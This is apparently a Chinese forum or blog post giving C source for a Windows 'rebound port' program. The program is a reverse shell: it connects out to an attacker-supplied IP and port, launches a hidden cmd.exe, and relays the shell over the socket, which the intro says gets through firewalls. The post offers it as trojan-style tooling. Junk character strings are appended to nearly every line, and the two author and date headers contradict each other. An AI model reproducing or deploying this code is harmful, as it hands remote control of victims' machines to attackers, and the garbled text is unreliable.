Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 >+#TsX{  
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/* ============================== ZS^EKz~+  
Rebound port in Windows NT *v8Cj(69  
By wind,2006/7 l*B;/ >nR  
===============================*/ #uuwzE*M_  
#include m4>v S  
#include /e4hB  
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#pragma comment(lib,"wsock32.lib") ~4XJ" d3L  
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void OutputShell(); 6CY_8/:zL  
SOCKET sClient; zT!JHG
 
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nzhQ\'TC  
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void main(int argc,char **argv) yK{;72  
{ mEyZ<U9  
WSADATA stWsaData; N<$uAns
 
int nRet; "84.qgYaG  
SOCKADDR_IN stSaiClient,stSaiServer; [#lPT'l  
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if(argc != 3) FIC 2)  
{ Zt[ PkBi  
printf("Useage:\n\rRebound DestIP DestPort\n"); +SUQRDF@i  
return; >jN)9}3>-#  
} s49AF  
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WSAStartup(MAKEWORD(2,2),&stWsaData); f{*G%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0BxO75m}o  
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stSaiClient.sin_family = AF_INET; s7a\L=#p(  
stSaiClient.sin_port = htons(0); ZuBVq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k9yA#
 
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oVc_(NH-  
{ xU67ztS'E'  
printf("Bind Socket Failed!\n"); I#uJdV|x  
return; ?w3f;v  
} uysGOyi
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{  
stSaiServer.sin_family = AF_INET; 7/Ve=7]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EG<K[t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $Iqt c)DA  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 33"{"2==`  
{ If]g6 B.=  
printf("Connect Error!"); a&PoUwG  
return; o6B!ikz 8  
} E*rDwTd  
OutputShell(); o*5|W9  
} S`"IM?  
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void OutputShell() )Bd+jli|s  
{ -I\_v*nA  
char szBuff[1024]; >Pbd#*  
SECURITY_ATTRIBUTES stSecurityAttributes; l3l[jDa,2  
OSVERSIONINFO stOsversionInfo; Ao?H.=#y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z1^S;#v  
STARTUPINFO stStartupInfo; .\*\bvyCw  
char *szShell; vP88%I;  
PROCESS_INFORMATION stProcessInformation; ]yCmGt+b  
unsigned long lBytesRead; [4t_ 83  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n#Z6d`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I?l*GO+pz  
stSecurityAttributes.lpSecurityDescriptor = 0; #Cbn"iYee  
stSecurityAttributes.bInheritHandle = TRUE; ]O&TU X@)  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !=k\Rr@qx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K6!`b( v#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); stoBjDS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t-_N|iW' 5  
stStartupInfo.wShowWindow = SW_HIDE; bF?EuL  
stStartupInfo.hStdInput = hReadPipe; bpKMQrwd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (VwS9:`
  
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GetVersionEx(&stOsversionInfo); !>9*$E |  
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switch(stOsversionInfo.dwPlatformId) Q.M3rRh  
{ w?<:`  
case 1: od?Q&'A  
szShell = "command.com"; r`wL_>"{n  
break; N|7<*\o  
default: J>XaQfzwU  
szShell = "cmd.exe"; q w|M~vdm  
break; iT9cw`A^%  
} ?CL1^N%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }u:^Mz  
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send(sClient,szMsg,77,0); /i DS#l\0  
while(1) 988aF/c  
{ 7{az %I$h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;#fB=[vl";  
if(lBytesRead) Pgye{{  
{ pN4!*7M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]p+t>'s  
send(sClient,szBuff,lBytesRead,0); 6TPcG dZ  
} rw_&t>Ri;  
else _[XEL+.  
{ Qpf BM  
lBytesRead=recv(sClient,szBuff,1024,0); (IJf2  
if(lBytesRead<=0) break; hO{@!H$l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); De:w(Rm  
} o)S>x0|[  
} EB@!?=0x  
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return; HzH_5kVW  
}